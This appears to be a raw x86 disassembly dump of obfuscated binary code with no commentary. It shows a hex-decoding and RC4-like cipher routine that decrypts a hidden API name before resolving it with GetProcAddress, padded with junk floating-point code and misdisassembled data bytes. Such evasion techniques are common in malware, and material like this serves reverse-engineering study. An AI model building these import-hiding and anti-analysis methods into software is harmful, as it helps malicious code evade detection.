mov eax, dword [ebp - 0x3670]
shl eax, 1
add eax, 1
mov dword [ebp - 0x39d0], eax
mov ecx, dword [ebp - 0x39d0]
shl ecx, 0
add ecx, dword [ebp - 0x3a0c]
movzx edx, byte [ecx]
mov dword [ebp - 0x394c], edx
mov dword [ebp - 0x3930], 0xd1
mov eax, dword [ebp - 0x3938]
sub eax, dword [ebp - 0x3950]
mov dword [ebp - 0x392c], eax
mov ecx, dword [ebp - 0x394c]
sub ecx, dword [ebp - 0x3930]
mov dword [ebp - 0x3928], ecx
mov edx, dword [ebp - 0x392c]
shl edx, 4
mov dword [ebp - 0x39d4], edx
mov eax, dword [ebp - 0x3928]
mov dword [ebp - 0x39d8], eax
mov ecx, dword [ebp - 0x39d4]
or ecx, dword [ebp - 0x39d8]
mov dword [ebp - 0x39dc], ecx
mov dl, byte [ebp - 0x39dc]
mov byte [ebp - 0x35e8], dl
movzx eax, byte [ebp - 0x359c]
shl eax, 0
lea ecx, [ebp - 0x3ec]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x35e6], dl
movzx eax, byte [ebp - 0x355b]
shl eax, 0
lea ecx, [ebp - 0x3ec]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3568]
add eax, edx
mov byte [ebp - 0x3568], al
mov cl, byte [ebp - 0x355b]
add cl, 1
mov byte [ebp - 0x355b], cl
movzx edx, byte [ebp - 0x3568]
shl edx, 0
lea eax, [ebp - 0x3ec]
movzx ecx, byte [ebp - 0x359c]
shl ecx, 0
lea esi, [ebp - 0x3ec]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x356d]
shl eax, 0
lea ecx, [ebp - 0x3ec]
movzx edx, byte [ebp - 0x3568]
shl edx, 0
lea esi, [ebp - 0x3ec]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x355b]
shl ecx, 0
lea edx, [ebp - 0x3ec]
movzx eax, byte [ebp - 0x356d]
shl eax, 0
lea esi, [ebp - 0x3ec]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x355b]
shl edx, 0
lea eax, [ebp - 0x3ec]
mov cl, byte [ebp - 0x35e6]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x35e6]
shl edx, 0
lea eax, [ebp - 0x3ec]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x35e7]
add edx, ecx
mov byte [ebp - 0x35e7], dl
movzx eax, byte [ebp - 0x35e8]
movzx ecx, byte [ebp - 0x3568]
shl ecx, 0
lea edx, [ebp - 0x3ec]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x355b]
shl edx, 0
lea esi, [ebp - 0x3ec]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x3ec]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x356d]
shl edx, 0
lea ecx, [ebp - 0x3ec]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x359c]
shl ecx, 0
lea esi, [ebp - 0x3ec]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x35e7]
shl ecx, 0
lea esi, [ebp - 0x3ec]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x3ec]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x3ec]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x356d], al
mov al, byte [ebp - 0x35e8]
mov byte [ebp - 0x359c], al
mov cl, byte [ebp - 0x356d]
mov byte [ebp - 0x3679], cl
cmp dword [ebp - 0x3670], 0
jbe 0x4902fd
mov edx, dword [ebp - 0x3670]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x38]
mov cl, byte [ebp - 0x3679]
mov byte [edx + eax], cl
mov edx, dword [ebp - 0x3670]
add edx, 1
mov dword [ebp - 0x3670], edx
mov eax, dword [ebp - 0x381c]
add eax, 1
mov dword [ebp - 0x381c], eax
mov ecx, dword [ebp - 0x3670]
shl ecx, 1
mov dword [ebp - 0x39cc], ecx
mov edx, dword [ebp - 0x39cc]
shl edx, 0
add edx, dword [ebp - 0x3a0c]
movzx eax, byte [edx]
mov dword [ebp - 0x3938], eax
mov dword [ebp - 0x3950], 0xb3
mov ecx, dword [ebp - 0x3670]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x39d0], ecx
mov edx, dword [ebp - 0x39d0]
shl edx, 0
add edx, dword [ebp - 0x3a0c]
movzx eax, byte [edx]
mov dword [ebp - 0x394c], eax
mov dword [ebp - 0x3930], 0xd1
mov ecx, dword [ebp - 0x3938]
sub ecx, dword [ebp - 0x3950]
mov dword [ebp - 0x392c], ecx
mov edx, dword [ebp - 0x394c]
sub edx, dword [ebp - 0x3930]
mov dword [ebp - 0x3928], edx
mov eax, dword [ebp - 0x392c]
shl eax, 4
mov dword [ebp - 0x39d4], eax
mov ecx, dword [ebp - 0x3928]
mov dword [ebp - 0x39d8], ecx
mov edx, dword [ebp - 0x39d4]
or edx, dword [ebp - 0x39d8]
mov dword [ebp - 0x39dc], edx
mov al, byte [ebp - 0x39dc]
mov byte [ebp - 0x35e8], al
movzx ecx, byte [ebp - 0x359c]
shl ecx, 0
lea edx, [ebp - 0x3ec]
mov al, byte [ecx + edx]
mov byte [ebp - 0x35e6], al
movzx ecx, byte [ebp - 0x355b]
shl ecx, 0
lea edx, [ebp - 0x3ec]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3568]
add ecx, eax
mov byte [ebp - 0x3568], cl
mov dl, byte [ebp - 0x355b]
add dl, 1
mov byte [ebp - 0x355b], dl
movzx eax, byte [ebp - 0x3568]
shl eax, 0
lea ecx, [ebp - 0x3ec]
movzx edx, byte [ebp - 0x359c]
shl edx, 0
lea esi, [ebp - 0x3ec]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x356d]
shl ecx, 0
lea edx, [ebp - 0x3ec]
movzx eax, byte [ebp - 0x3568]
shl eax, 0
lea esi, [ebp - 0x3ec]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x355b]
shl edx, 0
lea eax, [ebp - 0x3ec]
movzx ecx, byte [ebp - 0x356d]
shl ecx, 0
lea esi, [ebp - 0x3ec]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x355b]
shl eax, 0
lea ecx, [ebp - 0x3ec]
mov dl, byte [ebp - 0x35e6]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x35e6]
shl eax, 0
lea ecx, [ebp - 0x3ec]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x35e7]
add eax, edx
mov byte [ebp - 0x35e7], al
movzx ecx, byte [ebp - 0x35e8]
movzx edx, byte [ebp - 0x3568]
shl edx, 0
lea eax, [ebp - 0x3ec]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x355b]
shl eax, 0
lea esi, [ebp - 0x3ec]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x3ec]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x356d]
shl eax, 0
lea edx, [ebp - 0x3ec]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x359c]
shl edx, 0
lea esi, [ebp - 0x3ec]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x35e7]
shl edx, 0
lea esi, [ebp - 0x3ec]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0x3ec]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x3ec]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x356d], cl
mov cl, byte [ebp - 0x35e8]
mov byte [ebp - 0x359c], cl
mov dl, byte [ebp - 0x356d]
mov byte [ebp - 0x3679], dl
cmp dword [ebp - 0x3670], 0
jbe 0x4905ba
mov eax, dword [ebp - 0x3670]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x38]
mov dl, byte [ebp - 0x3679]
mov byte [eax + ecx], dl
mov eax, dword [ebp - 0x3670]
add eax, 1
mov dword [ebp - 0x3670], eax
mov ecx, dword [ebp - 0x381c]
add ecx, 1
mov dword [ebp - 0x381c], ecx
mov edx, dword [ebp - 0x3670]
shl edx, 1
mov dword [ebp - 0x39cc], edx
mov eax, dword [ebp - 0x39cc]
shl eax, 0
add eax, dword [ebp - 0x3a0c]
movzx ecx, byte [eax]
mov dword [ebp - 0x3938], ecx
mov dword [ebp - 0x3950], 0xb3
mov edx, dword [ebp - 0x3670]
shl edx, 1
add edx, 1
mov dword [ebp - 0x39d0], edx
mov eax, dword [ebp - 0x39d0]
shl eax, 0
add eax, dword [ebp - 0x3a0c]
movzx ecx, byte [eax]
mov dword [ebp - 0x394c], ecx
mov dword [ebp - 0x3930], 0xd1
mov edx, dword [ebp - 0x3938]
sub edx, dword [ebp - 0x3950]
mov dword [ebp - 0x392c], edx
mov eax, dword [ebp - 0x394c]
sub eax, dword [ebp - 0x3930]
mov dword [ebp - 0x3928], eax
mov ecx, dword [ebp - 0x392c]
shl ecx, 4
mov dword [ebp - 0x39d4], ecx
mov edx, dword [ebp - 0x3928]
mov dword [ebp - 0x39d8], edx
mov eax, dword [ebp - 0x39d4]
or eax, dword [ebp - 0x39d8]
mov dword [ebp - 0x39dc], eax
mov cl, byte [ebp - 0x39dc]
mov byte [ebp - 0x35e8], cl
movzx edx, byte [ebp - 0x359c]
shl edx, 0
lea eax, [ebp - 0x3ec]
mov cl, byte [edx + eax]
mov byte [ebp - 0x35e6], cl
movzx edx, byte [ebp - 0x355b]
shl edx, 0
lea eax, [ebp - 0x3ec]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3568]
add edx, ecx
mov byte [ebp - 0x3568], dl
mov al, byte [ebp - 0x355b]
add al, 1
mov byte [ebp - 0x355b], al
movzx ecx, byte [ebp - 0x3568]
shl ecx, 0
lea edx, [ebp - 0x3ec]
movzx eax, byte [ebp - 0x359c]
shl eax, 0
lea esi, [ebp - 0x3ec]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x356d]
shl edx, 0
lea eax, [ebp - 0x3ec]
movzx ecx, byte [ebp - 0x3568]
shl ecx, 0
lea esi, [ebp - 0x3ec]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x355b]
shl eax, 0
lea ecx, [ebp - 0x3ec]
movzx edx, byte [ebp - 0x356d]
shl edx, 0
lea esi, [ebp - 0x3ec]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movss xmm0, dword [0x9db8fc]
movss dword [ebp - 0x44e0], xmm0
movss xmm0, dword [0x9db830]
movss dword [ebp - 0x58fc], xmm0
movss xmm0, dword [0x9db678]
movss dword [ebp - 0x44dc], xmm0
movss xmm0, dword [0x9db470]
movss dword [ebp - 0x4e3c], xmm0
movss xmm0, dword [ebp - 0x44e0]
addss xmm0, dword [ebp - 0x4e3c]
movss dword [ebp - 0x44e0], xmm0
movss xmm0, dword [ebp - 0x44dc]
subss xmm0, dword [ebp - 0x4e3c]
movss dword [ebp - 0x44dc], xmm0
movss xmm0, dword [ebp - 0x44dc]
mulss xmm0, dword [ebp - 0x4e3c]
movss dword [ebp - 0x44dc], xmm0
movss xmm0, dword [ebp - 0x44e0]
mulss xmm0, dword [ebp - 0x4e3c]
movss dword [ebp - 0x44e0], xmm0
movss xmm0, dword [ebp - 0x4e3c]
comiss xmm0, dword [ebp - 0x44e0]
jbe 0x490867
movss xmm0, dword [ebp - 0x58fc]
subss xmm0, dword [ebp - 0x4e3c]
movss dword [ebp - 0x58fc], xmm0
movss xmm0, dword [ebp - 0x44e0]
mulss xmm0, dword [ebp - 0x44dc]
movss dword [ebp - 0x44e0], xmm0
movss xmm0, dword [ebp - 0x44dc]
subss xmm0, dword [ebp - 0x44e0]
movss dword [ebp - 0x44dc], xmm0
movss xmm0, dword [ebp - 0x44dc]
subss xmm0, dword [ebp - 0x44e0]
movss dword [ebp - 0x44dc], xmm0
jmp 0x4908e0
movss xmm0, dword [ebp - 0x44dc]
addss xmm0, dword [ebp - 0x4e3c]
movss dword [ebp - 0x44dc], xmm0
movss xmm0, dword [ebp - 0x44e0]
addss xmm0, dword [ebp - 0x58fc]
movss dword [ebp - 0x44e0], xmm0
movzx ecx, byte [ebp - 0x355b]
shl ecx, 0
lea edx, [ebp - 0x3ec]
mov al, byte [ebp - 0x35e6]
mov byte [ecx + edx], al
movss xmm0, dword [ebp - 0x44e0]
addss xmm0, dword [ebp - 0x58fc]
movss dword [ebp - 0x44e0], xmm0
movss xmm0, dword [ebp - 0x44dc]
subss xmm0, dword [ebp - 0x4e3c]
movss dword [ebp - 0x44dc], xmm0
movzx ecx, byte [ebp - 0x35e6]
shl ecx, 0
lea edx, [ebp - 0x3ec]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x35e7]
add ecx, eax
mov byte [ebp - 0x35e7], cl
movzx edx, byte [ebp - 0x35e8]
movzx eax, byte [ebp - 0x3568]
shl eax, 0
lea ecx, [ebp - 0x3ec]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x355b]
shl ecx, 0
lea esi, [ebp - 0x3ec]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0x3ec]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x356d]
shl ecx, 0
lea eax, [ebp - 0x3ec]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x359c]
shl eax, 0
lea esi, [ebp - 0x3ec]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x35e7]
shl eax, 0
lea esi, [ebp - 0x3ec]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0x3ec]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0x3ec]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x356d], dl
mov dl, byte [ebp - 0x35e8]
mov byte [ebp - 0x359c], dl
mov al, byte [ebp - 0x356d]
mov byte [ebp - 0x3679], al
cmp dword [ebp - 0x3670], 0
jbe 0x4909e9
mov ecx, dword [ebp - 0x3670]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x38]
mov al, byte [ebp - 0x3679]
mov byte [ecx + edx], al
mov ecx, 1
imul edx, ecx, 0xc
mov dword [ebp - 0x5f18], edx
cmp dword [ebp - 0x5f18], 0xd
jae 0x490a02
jmp 0x490a07
call fcn.009b6d77
lea eax, [ebp - 0x38]
add eax, dword [ebp - 0x5f18]
mov byte [eax], 0
jmp 0x490a63
mov dword [ebp - 0x3670], 0
jmp 0x490a30
mov ecx, dword [ebp - 0x3670]
add ecx, 1
mov dword [ebp - 0x3670], ecx
cmp dword [ebp - 0x3670], 0xd
jae 0x490a63
mov edx, dword [ebp - 0x3670]
mov dword [ebp - 0x5f14], edx
cmp dword [ebp - 0x5f14], 0xd
jae 0x490a50
jmp 0x490a55
call fcn.009b6d77
lea eax, [ebp - 0x38]
add eax, dword [ebp - 0x5f14]
mov byte [eax], 0
jmp 0x490a21
lea ecx, [ebp - 0x38]
push ecx
mov edx, dword [ebp - 0x37e4]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0xa06818], eax
xorps xmm0, xmm0
movsd qword [ebp - 0x5720], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5350], xmm0
mov dword [ebp - 0x372c], 0
mov dword [ebp - 0x4da4], 0
mov dword [ebp - 0x5900], 0
mov dword [ebp - 0x542c], 1
mov dword [ebp - 0x48d4], 0
mov dword [ebp - 0x5bf0], 0
mov dword [ebp - 0x3af0], 0
mov dword [ebp - 0x41c4], 0
mov dword [ebp - 0x40f0], 0
mov dword [ebp - 0x40ec], 0
mov dword [ebp - 0x41c8], 0
mov dword [ebp - 0x40e8], 0
mov dword [ebp - 0x40e4], 0
mov dword [ebp - 0x40e0], 0
mov dword [ebp - 0x40dc], 0
mov dword [ebp - 0x41cc], 0
mov dword [ebp - 0x41d0], 0
mov dword [ebp - 0x41d4], 0
mov dword [ebp - 0x4da8], 0
mov byte [ebp - 0x359f], 0
mov byte [ebp - 0x35d4], 0
mov byte [ebp - 0x367b], 0
mov byte [ebp - 0x35d5], 0
mov byte [ebp - 0x3620], 0
mov byte [ebp - 0x3770], 0
mov byte [ebp - 0x419c], 0
mov byte [ebp - 0x367c], 0
mov byte [ebp - 0x367a], 0
mov byte [ebp - 0x37b5], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x5720], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5350], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5350], xmm0
jmp 0x490bce
movsd xmm0, qword [ebp - 0x5350]
addsd xmm0, qword [0x9d9060]
movsd qword [ebp - 0x5350], xmm0
movsd xmm0, qword [0x9db1e0]
comisd xmm0, xmmword [ebp - 0x5350]
jbe 0x490c7f
movsd xmm0, qword [0x9da260]
mulsd xmm0, qword [ebp - 0x5350]
mulsd xmm0, qword [ebp - 0x5350]
movsd xmm1, qword [ebp - 0x5350]
mulsd xmm1, qword [ebp - 0x5350]
subsd xmm0, xmm1
movsd xmm1, qword [0x9d9098]
mulsd xmm1, qword [ebp - 0x5350]
mulsd xmm1, qword [ebp - 0x5350]
addsd xmm1, qword [0x9d9fd8]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x5720]
movsd qword [ebp - 0x5720], xmm0
movsd xmm0, qword [ebp - 0x5720]
comisd xmm0, xmmword [0x9da178]
jbe 0x490c7a
movsd xmm0, qword [0x9d9cc0]
mulsd xmm0, qword [ebp - 0x5350]
movsd xmm1, qword [ebp - 0x5720]
subsd xmm1, xmm0
movsd qword [ebp - 0x5720], xmm1
jmp 0x490bb6
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x5720]
jbe 0x490cd0
and dword [edx + 0x61], edi
cmp esp, dword [esi + 0x36]
sub al, 0x4d
cmp cl, byte [esi + 0x3e]
jle 0x490cf2
inc ebp
dec edi
aas
and esp, dword [edx]
and al, 0x22
jns 0x490cff
push eax
inc edx
or eax, dword [edx + 0xd]
adc eax, 0xf44173e
cmp ecx, dword [ecx + edi]
push cs
sbb dword ds:[esi], esi
or eax, 0x1637173e
cmp byte [ecx], dl
aaa
or eax, 0x1544123b
inc eax
invalid
mov dword [ebp - 0x63b0], 0x490ca5
mov dword [ebp - 0x63ac], 0x490c8c
mov eax, dword [ebp - 0x63b0]
mov dword [ebp - 0x43ac], eax
mov ecx, dword [ebp - 0x63ac]
mov dword [ebp - 0x63a8], ecx
mov byte [ebp - 0x419c], 0x1d
mov dword [ebp - 0x372c], 0
mov dword [ebp - 0x4da4], 0
mov dword [ebp - 0x372c], 0
jmp 0x490d32
push esp
pushfd
invalid
mov esi, 0xc71dffff
test esp, edx
enter 0xffffffffffffffff, 0
add byte [eax], al
add bh, al
test dword [edx + esi*4 - 1], ebx
inc dword [eax]
add byte [eax], al
add bh, al
test esp, edx
enter 0xffffffffffffffff, 0
add byte [eax], al
add bl, ch
jnp 0x11e1bd
mov edx, dword [ebp - 0x372c]
add edx, 1
mov dword [ebp - 0x372c], edx
inc dword [ebx - 0x6a76fe3e]
aam 0xc8
invalid
cmp dword [ebp - 0x372c], 0x100
jae 0x490d58
mov eax, dword [ebp - 0x372c]
shl eax, 0
lea ecx, [ebp - 0x2668]
mov dl, byte [ebp - 0x372c]
mov byte [eax + ecx], dl
jmp 0x490d23
mov dword [ebp - 0x4da4], 0
mov byte [ebp - 0x3770], 0
mov dword [ebp - 0x372c], 0xff
jmp 0x490d84
mov eax, dword [ebp - 0x372c]
sub eax, 1
mov dword [ebp - 0x372c], eax
cmp dword [ebp - 0x372c], 0
jbe 0x49104a
mov dword [ebp - 0x5900], 0
mov dword [ebp - 0x542c], 1
mov dword [ebp - 0x48d4], 0
mov ecx, dword [ebp - 0x542c]
cmp ecx, dword [ebp - 0x372c]
jae 0x490dd0
mov edx, dword [ebp - 0x542c]
shl edx, 1
add edx, 1
mov dword [ebp - 0x542c], edx
jmp 0x490daf
mov eax, dword [ebp - 0x4da4]
mov dword [ebp - 0x5f10], eax
cmp dword [ebp - 0x5f10], 3
ja case.default.0x490def
mov ecx, dword [ebp - 0x5f10]
jmp dword [ecx*4 + 0x4f07ac]
movzx edx, byte [ebp - 0x3770]
shl edx, 0
lea eax, [ebp - 0x2668]
movzx ebx, byte [edx + eax]
movsd xmm0, qword [ebp - 0x5720]
call fcn.009b6e60
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3770], bl
jmp 0x490ef6
movzx ecx, byte [ebp - 0x3770]
shl ecx, 0
lea edx, [ebp - 0x2668]
movzx ebx, byte [ecx + edx]
movsd xmm0, qword [ebp - 0x5720]
call fcn.009b6e60
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3770], bl
jmp 0x490ef6
movzx eax, byte [ebp - 0x3770]
shl eax, 0
lea ecx, [ebp - 0x2668]
movzx ebx, byte [eax + ecx]
movsd xmm0, qword [ebp - 0x5720]
call fcn.009b6e60
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3770], bl
jmp 0x490ef6
movzx edx, byte [ebp - 0x3770]
shl edx, 0
lea eax, [ebp - 0x2668]
movzx ebx, byte [edx + eax]
movsd xmm0, qword [ebp - 0x5720]
call fcn.009b6e60
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3770], bl
jmp 0x490ef6
movzx ecx, byte [ebp - 0x3770]
shl ecx, 0
lea edx, [ebp - 0x2668]
movzx eax, byte [ecx + edx]
mov ecx, dword [ebp - 0x4da4]
sub ecx, 4
shl ecx, 0
add ecx, dword [ebp - 0x63a8]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x3770], al
mov eax, dword [ebp - 0x4da4]
add eax, 1
mov dword [ebp - 0x4da4], eax
movzx ecx, byte [ebp - 0x419c]
cmp dword [ebp - 0x4da4], ecx
jb 0x490f34
mov dword [ebp - 0x4da4], 0
movzx edx, byte [ebp - 0x419c]
movzx eax, byte [ebp - 0x3770]
add eax, edx
mov byte [ebp - 0x3770], al
movzx ecx, byte [ebp - 0x3770]
and ecx, dword [ebp - 0x542c]
mov dword [ebp - 0x48d4], ecx
mov edx, dword [ebp - 0x5900]
add edx, 1
mov dword [ebp - 0x5900], edx
cmp dword [ebp - 0x5900], 0xb
jbe 0x490f73
mov eax, dword [ebp - 0x48d4]
xor edx, edx
div dword [ebp - 0x372c]
mov dword [ebp - 0x48d4], edx
mov eax, dword [ebp - 0x48d4]
cmp eax, dword [ebp - 0x372c]
ja 0x490dd0
mov ecx, dword [ebp - 0x372c]
cmp ecx, dword [ebp - 0x48d4]
je 0x491045
mov edx, dword [ebp - 0x372c]
shl edx, 0
lea eax, [ebp - 0x2668]
mov ecx, dword [ebp - 0x48d4]
shl ecx, 0
lea esi, [ebp - 0x2668]
movzx ecx, byte [ecx + esi]
movzx edx, byte [edx + eax]
xor edx, ecx
mov eax, dword [ebp - 0x372c]
shl eax, 0
lea ecx, [ebp - 0x2668]
mov byte [eax + ecx], dl
mov edx, dword [ebp - 0x48d4]
shl edx, 0
lea eax, [ebp - 0x2668]
mov ecx, dword [ebp - 0x372c]
shl ecx, 0
lea esi, [ebp - 0x2668]
movzx ecx, byte [ecx + esi]
movzx edx, byte [edx + eax]
xor edx, ecx
mov eax, dword [ebp - 0x48d4]
shl eax, 0
lea ecx, [ebp - 0x2668]
mov byte [eax + ecx], dl
mov edx, dword [ebp - 0x372c]
shl edx, 0
lea eax, [ebp - 0x2668]
mov ecx, dword [ebp - 0x48d4]
shl ecx, 0
lea esi, [ebp - 0x2668]
movzx ecx, byte [ecx + esi]
movzx edx, byte [edx + eax]
xor edx, ecx
mov eax, dword [ebp - 0x372c]
shl eax, 0
lea ecx, [ebp - 0x2668]
mov byte [eax + ecx], dl
jmp 0x490d75
mov edx, 1
shl edx, 0
lea eax, [ebp - 0x2668]
mov cl, byte [edx + eax]
mov byte [ebp - 0x359f], cl
mov edx, 1
imul eax, edx, 3
lea ecx, [ebp - 0x2668]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x35d4], dl
mov eax, 1
imul ecx, eax, 5
lea edx, [ebp - 0x2668]
mov al, byte [ecx + edx]
mov byte [ebp - 0x367b], al
mov ecx, 1
imul edx, ecx, 7
lea eax, [ebp - 0x2668]
mov cl, byte [edx + eax]
mov byte [ebp - 0x35d5], cl
movzx edx, byte [ebp - 0x3770]
shl edx, 0
lea eax, [ebp - 0x2668]
mov cl, byte [edx + eax]
mov byte [ebp - 0x3620], cl
mov dword [ebp - 0x5bf0], 0x26
cmp dword [ebp - 0x5bf0], 2
jle 0x492581
mov edx, dword [ebp - 0x5bf0]
and edx, 1
jne 0x492581
mov dword [ebp - 0x372c], 0
mov dword [ebp - 0x3af0], 0
mov eax, dword [ebp - 0x3af0]
add eax, 1
mov dword [ebp - 0x3af0], eax
mov dword [ebp - 0x41c4], 0
mov ecx, dword [ebp - 0x372c]
shl ecx, 1
mov dword [ebp - 0x41c4], ecx
mov dword [ebp - 0x40f0], 0
mov edx, dword [ebp - 0x41c4]
shl edx, 0
add edx, dword [ebp - 0x43ac]
movzx eax, byte [edx]
add eax, dword [ebp - 0x40f0]
mov dword [ebp - 0x40f0], eax
mov dword [ebp - 0x40ec], 0
mov ecx, dword [ebp - 0x40ec]
add ecx, 0x36
mov dword [ebp - 0x40ec], ecx
mov dword [ebp - 0x41c8], 0
mov edx, dword [ebp - 0x372c]
shl edx, 1
add edx, 1
mov dword [ebp - 0x41c8], edx
mov dword [ebp - 0x40e8], 0
mov eax, dword [ebp - 0x41c8]
shl eax, 0
add eax, dword [ebp - 0x43ac]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x40e8]
mov dword [ebp - 0x40e8], ecx
mov dword [ebp - 0x40e4], 0
mov edx, dword [ebp - 0x40e4]
add edx, 0xa
mov dword [ebp - 0x40e4], edx
mov dword [ebp - 0x40e0], 0
mov eax, dword [ebp - 0x40f0]
sub eax, dword [ebp - 0x40ec]
add eax, dword [ebp - 0x40e0]
mov dword [ebp - 0x40e0], eax
mov dword [ebp - 0x40dc], 0
mov ecx, dword [ebp - 0x40e8]
sub ecx, dword [ebp - 0x40e4]
add ecx, dword [ebp - 0x40dc]
mov dword [ebp - 0x40dc], ecx
mov dword [ebp - 0x41cc], 0
mov edx, dword [ebp - 0x40e0]
shl edx, 4
mov dword [ebp - 0x41cc], edx
mov dword [ebp - 0x41d0], 0
mov eax, dword [ebp - 0x40dc]
mov dword [ebp - 0x41d0], eax
mov dword [ebp - 0x41d4], 0
mov ecx, dword [ebp - 0x41cc]
or ecx, dword [ebp - 0x41d0]
mov dword [ebp - 0x41d4], ecx
mov byte [ebp - 0x367c], 0
mov dl, byte [ebp - 0x41d4]
mov byte [ebp - 0x367c], dl
mov byte [ebp - 0x367a], 0
movzx eax, byte [ebp - 0x3620]
shl eax, 0
lea ecx, [ebp - 0x2668]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x367a], dl
movzx eax, byte [ebp - 0x359f]
shl eax, 0
lea ecx, [ebp - 0x2668]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x35d4]
add eax, edx
mov byte [ebp - 0x35d4], al
mov cl, byte [ebp - 0x359f]
add cl, 1
mov byte [ebp - 0x359f], cl
movzx edx, byte [ebp - 0x35d4]
shl edx, 0
lea eax, [ebp - 0x2668]
movzx ecx, byte [ebp - 0x3620]
shl ecx, 0
lea esi, [ebp - 0x2668]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x35d5]
shl eax, 0
lea ecx, [ebp - 0x2668]
movzx edx, byte [ebp - 0x35d4]
shl edx, 0
lea esi, [ebp - 0x2668]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x359f]
shl ecx, 0
lea edx, [ebp - 0x2668]
movzx eax, byte [ebp - 0x35d5]
shl eax, 0
lea esi, [ebp - 0x2668]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x359f]
shl edx, 0
lea eax, [ebp - 0x2668]
mov cl, byte [ebp - 0x367a]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x367a]
shl edx, 0
lea eax, [ebp - 0x2668]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x367b]
add edx, ecx
mov byte [ebp - 0x367b], dl
movzx eax, byte [ebp - 0x367c]
movzx ecx, byte [ebp - 0x35d4]
shl ecx, 0
lea edx, [ebp - 0x2668]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x359f]
shl edx, 0
lea esi, [ebp - 0x2668]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x2668]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x35d5]
shl edx, 0
lea ecx, [ebp - 0x2668]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x3620]
shl ecx, 0
lea esi, [ebp - 0x2668]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x367b]
